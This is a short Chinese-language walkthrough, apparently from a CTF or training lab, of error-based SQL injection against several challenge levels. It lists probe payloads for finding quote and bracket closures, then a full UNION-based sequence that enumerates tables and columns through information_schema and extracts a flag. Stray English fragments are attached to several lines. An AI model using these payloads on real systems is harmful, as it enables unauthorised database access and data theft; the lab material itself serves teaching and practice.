SQL注入的本質:就是將用戶輸入的數據看成代碼帶入執行。
注入條件:
1.用戶能控制輸入
2.可以將程序本來執行的代碼,拼接上用戶輸入的數據進行執行數據庫
構造語句 ?id=1 and 1=1 沒有報錯3d
?id=1 and 1=2 也沒有顯示錯誤,檢查是否被過濾了orm
?id=1' and 1=1 出現錯誤,說明這裏被單引號過濾掉了blog
?id=1' and 1=1 --+ 回顯正確 存在注入it
?id=1 and 1=1 回顯正確io
?id=1 and 1=2 回顯錯誤,判斷存在注入table
構造:?id=1 and 1=1 回顯正確form
?id=1 and 1=2 回顯正確select
?id=1' and 1=1 --+ 閉合引號回顯錯誤,表示出現其餘閉合nio
?id=1')and 1=1 --+ 嘗試閉合括號進行繞過,回顯正確,存在注入
構造語句:?id=1 and 1=1 回顯正確
?id=1 and 1=2 回顯正確,判斷存在過濾
?id=1'and 1=1 --+ 判斷是否存在'閉合 回顯正確
?id=1'and 1=2 --+ 回顯正確 表示未出現'閉合
?id=1)and 1=1--+ 判斷是否存在括號閉合 回顯正確
?id=1)and 1=2--+ 依然回顯正確
?id=1" and 1 = 1 --+再試一下是否存在"閉合,回顯錯誤,證實存在"閉合
?id=1") and 1 = 1 --+ 嘗試和)一塊兒判斷過濾,回顯正確,存在注入
因爲Rank1-Rank4 都是顯錯注入,除了過濾以外的步驟都相同,就以Rank1進行脫庫步驟
?id=1' order by 5 --+ 判斷字段數及回顯點,顯示錯誤,說明字段小於5
?id=1' order by 3 --+
?id=0'union select 1,2,3 --+
這裏選擇2和3構建子查詢均可
?id=0'union select 1,database(),3 --+
?id=0'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),3 --+
由於是找flag,就查找咱們以爲最有可能存在的表
?id=0'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'zkaq'),3 --+
存在flag
?id=0'union select 1,(select group_concat(flag,zKaQ) from security.zkaq),3 --+